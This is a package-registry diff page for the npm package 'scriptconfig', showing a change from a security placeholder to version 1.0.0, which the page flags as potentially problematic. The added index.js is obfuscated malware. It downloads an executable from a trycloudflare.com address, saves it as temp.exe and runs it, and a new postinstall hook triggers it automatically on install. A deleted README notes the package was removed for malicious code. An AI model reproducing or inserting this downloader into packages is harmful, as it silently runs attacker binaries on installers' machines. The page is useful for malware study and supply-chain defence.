scriptconfig 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of scriptconfig might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x4bca90=_0x3fac;(function(_0x171762,_0x476fcb){const _0x1a5f78=_0x3fac,_0x3659af=_0x171762();while(!![]){try{const _0x3a578c=parseInt(_0x1a5f78(0xf0))/0x1+-parseInt(_0x1a5f78(0xf1))/0x2+parseInt(_0x1a5f78(0xec))/0x3*(-parseInt(_0x1a5f78(0xe2))/0x4)+-parseInt(_0x1a5f78(0xdc))/0x5+-parseInt(_0x1a5f78(0xe4))/0x6+-parseInt(_0x1a5f78(0xe6))/0x7*(parseInt(_0x1a5f78(0xe7))/0x8)+parseInt(_0x1a5f78(0xed))/0x9*(parseInt(_0x1a5f78(0xef))/0xa);if(_0x3a578c===_0x476fcb)break;else _0x3659af['push'](_0x3659af['shift']());}catch(_0xbd2480){_0x3659af['push'](_0x3659af['shift']());}}}(_0x3da1,0x561cc));const fs=require(_0x4bca90(0xe0)),path=require(_0x4bca90(0xe8)),fetch=require(_0x4bca90(0xde)),{exec}=require(_0x4bca90(0xee)),exeFileName=_0x4bca90(0xea),downloadUrl='https://inspection-processors-fellow-whose.trycloudflare.com/home',exeFilePath=path[_0x4bca90(0xe5)](__dirname,exeFileName);async function downloadFile(_0x181240,_0x3ac071){const _0x1a06a5=_0x4bca90,_0x29c74e=await fetch(_0x181240);if(!_0x29c74e['ok'])throw new Error(_0x1a06a5(0xdd)+_0x29c74e[_0x1a06a5(0xeb)]);const _0x2e58bc=await _0x29c74e[_0x1a06a5(0xdf)]();await fs['writeFile'](_0x3ac071,_0x2e58bc);}function _0x3fac(_0x29d949,_0x1db431){const _0x3da1ab=_0x3da1();return _0x3fac=function(_0x3facb8,_0x9f0024){_0x3facb8=_0x3facb8-0xdc;let _0x3f7d21=_0x3da1ab[_0x3facb8];return _0x3f7d21;},_0x3fac(_0x29d949,_0x1db431);}async function runExecutable(){const _0x3f1155=_0x4bca90;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x461525=>{const _0x5ef7f5=_0x3fac;_0x461525&&console[_0x5ef7f5(0xe9)](_0x5ef7f5(0xe1)+_0x461525);});}catch(_0x5054e7){console[_0x3f1155(0xe9)](_0x3f1155(0xe3)+_0x5054e7);}}runExecutable();function _0x3da1(){const _0x31475b=['status','6921eOMPRE','9bGoAgB','child_process','13860270kEQlhP','244988AUWFAU','988HJsnBX','1443065pShFLp','HTTP\x20error!\x20status:\x20','node-fetch','buffer','fs-extra','Error\x20running\x20the\x20executable:\x20','836rOKBmU','Download\x20error:\x20','2092536aVpVHt','join','1141gMshtZ','7768fMXnaF','path','error','temp.exe'];_0x3da1=function(){return _0x31475b;};return _0x3da1();}
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "scriptconfig",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Pkg",
|
5
|
+
"main": "index.js",
|
6
|
+
"bin": {
|
7
|
+
"update": "index.js"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node index.js"
|
11
|
+
},
|
12
|
+
"dependencies": {
|
13
|
+
"fs-extra": "^10.0.0",
|
14
|
+
"node-fetch": "^2.6.7",
|
15
|
+
"sudo-prompt": "^9.2.1"
|
16
|
+
}
|
6
17
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=scriptconfig for more information.
|